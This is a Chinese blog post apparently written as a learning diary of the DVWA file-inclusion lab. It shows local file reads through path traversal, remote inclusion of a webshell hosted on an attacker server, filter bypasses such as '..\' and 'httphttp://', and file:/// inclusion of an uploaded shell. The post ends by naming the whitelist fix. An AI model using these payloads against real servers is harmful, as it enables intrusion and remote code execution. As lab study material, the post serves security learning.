DVWA学习日记-4 文件包含

文件包含
举例:
有个骗子卖东西,以次充好,以假乱真,这就是在三十六计里面的偷梁换柱
在文件包含漏洞里面的文件,把真正的文件调包换成我们的恶意文件,服务器却还不知道

概述:
文件包含其实就一种代码的处理方法,当一个代码文件想要引用另一个代码文件就会利用到包含,常见的函数有:include,require等,参数一般是代码文件名

文件名参数用户可控且过滤不严,被攻击者偷梁换柱
文件包含

include("hello.php")
include就是包含的意思,服务器端本身自带的
hello.php文件是由攻击者控制的

准备环境:
Firefox
DVWA
HackBar

漏洞实战
1.首先我们进入简单模式
在这里插入图片描述

2.说我们的allow_url_include的没有设置
2.1点击我们的phpstudy的其他选项菜单
在这里插入图片描述
2.2选择php扩展与设置->参数开关设置->allow_url_include
F5刷新一下
在这里插入图片描述
3.观察
首先看我们的hackbar上的url的红框内容在这里插入图片描述
4.分别点击三个文件链接进行查看
file1.php
在这里插入图片描述
file2.php
在这里插入图片描述
file3.php
在这里插入图片描述5.发现这个参数就是我们可以利用的地方
6.尝试修改url参数为test.php
在这里插入图片描述
显示了文件找不到这个文件,也表示了这个地方可以利用,同时我们还有个以外的收获,爆出了这个web的绝对路径,后面能利用到

7.思考
xxx.php
之前是file1.php、file2.php、file3.php
肯定是在一个目录里,而这个目录加上文件名形成了绝对路径
就相当于我们前面提到的include()

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=xxx.php
include("F:\phpstudy\WWW\DVWA-master\vulnerabilities\fi\xxx.php")

在这里插入图片描述
前面的框里的路径是固定字段,而xxx.php是我们可控的

8.攻击—本地文件读取
读取F:\phpstudy\WWW\DVWA-master\php.ini
include(“F:\phpstudy\WWW\DVWA-master\php.ini”)
如果我们要变成下面的路径,我们就需要下面怎么做才能到执行到下面结果

include("F:\phpstudy\WWW\DVWA-master../../php.ini")

9.验证猜测
先访问原始内容,看一下这个文件里面是什么
在这里插入图片描述
10.再访问我们刚刚好构造的url
在页面顶部出现php.ini的内容,所以我们成功读取了php.ini的文件
在这里插入图片描述
11.攻击者是满足不了本地的文件执行的文件的
怎么样才能读取其他目录的php脚本文件呢?
显示内容还是执行PHP代码?

12.在服务端有一个phpinfo可以查看服务器相关信息,我们先访问下这个
在这里插入图片描述
13.再去看看文件包含访问的情况,因为他们是在同一个目录里面的,执行后同样显示php的相关信息,表名了文件包含不仅仅能读文件还能够执行文件
在这里插入图片描述
14.攻击者拥有是不满足的,执行服务端本来就有的脚本文件,并没有什么杀伤力
所有验证一下是否可以执行远程文件
在本机写一个phpinfo文件,保存为phpinfo.txt,然后执行文件包含,发现远程执行文件也可以用,而且非php文件,只要里面包含就可以执行

<?php
	phpinfo
?>

在这里插入图片描述
15.问题:我们发现php和txt文件都可以执行
但是我们看一下两个php页面的配置
phpinfo.php
在这里插入图片描述
phpinfo.txt
这里应该会是服务端的ip地址,不知道为什么会变成这样
在这里插入图片描述
16.攻击者思路
首先在攻击者自己的WEB服务器A要攻击WEB服务器B,攻击者首先在自己服务器上Webshell的文本文件得到url

http://www.a.com/webshell.txt

找到b的包含漏洞
成功执行url,这样就完成了简单等级的文件包含

http:www.b.com/DVWA-1.9/vulnerabilities/fi/?page=http://www.a.com/webshell.txt

17.进入中等难度
根据low等级方法
执行发现low方法失败,弹出红框中的错误信息,说明某些服务端过滤了某些字符
在这里插入图片描述
18.具体什么字符呢,我们发现了是…/这个字符
或者使用排除法测试
首先使用.php发现执行成功没有过滤
在这里插入图片描述
再使用/php.ini发现执行成功没有过滤
再使用./php.ini发现执行成功没有过滤
最后发现使用…/php.ini被过滤
在这里插入图片描述

19.查看源代码
在这里插入图片描述
20.有了前面的认知我们不能用…/跳转目录了
最后我们可以想到利用…\反斜杠进行绕过
21.验证发现果然执行成功
在这里插入图片描述

21.再接着执行远程文件执行的方法
发现low等级的方法执行失败,看一下错误信息,显然也过滤了某些字符
在这里插入图片描述
22.开始尝试过滤了什么字符?
http127.0.0.1 没有过滤
:127.0.0.1 没有过滤
//127.0.0.1 没有过滤
最后尝试 http://127.0.0.1 发现只过滤了http://
23.尝试绕过
httphttp://127.0.0.1
在这里插入图片描述
再次尝试
httphttp://127.0.0.1/phpinfo.txt
在这里插入图片描述
最后尝试成功绕过
httphttp://?/127.0.0.1/phpinfo.txt
在这里插入图片描述
24.进入高难度模式
尝试简单等级的和中等的方法失败
出现了新的错误信息
在这里插入图在这里插入图片描述片描述
添加反斜杠
在这里插入图片描述
25.最终不断尝试
服务端只认file*开头的文件的参数
在这里插入图片描述
尝试1file.php文件,没找到文件
尝试file11111111.php试试,从而发现只认file开头的字符串
在这里插入图片描述
26.查看源代码
在这里插入图片描述
26.file协议
file协议,文件传输协议,访问本地计算机中的文件

27.验证
我们知道物理路径
在这里插入图片描述
再使用文件包含执行成功
在这里插入图片描述
28.发现远程文件执行也需要file开头的,发现file协议只能执行本地文件,需要结合文件上传漏洞,然后进行本地文件执行

29.演示一下假如已经利用文件上传漏洞传入了phpinfo.txt的文件
在这里插入图片描述
30.攻击者思路
攻击者=>上传含有恶意代码的文件=>获取文件所在物理地址=>成功执行恶意代码=>受害者Web服务器 www.test.com

http://www.test.com//vulnerabilities/fi/?page=file:///F:/phpstudy/WWW/webshell.txt

32.最后进入无漏洞模式
查看源码,只允许四个文件名,有效防止了文件包含漏洞
在这里插入图片描述
修复

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值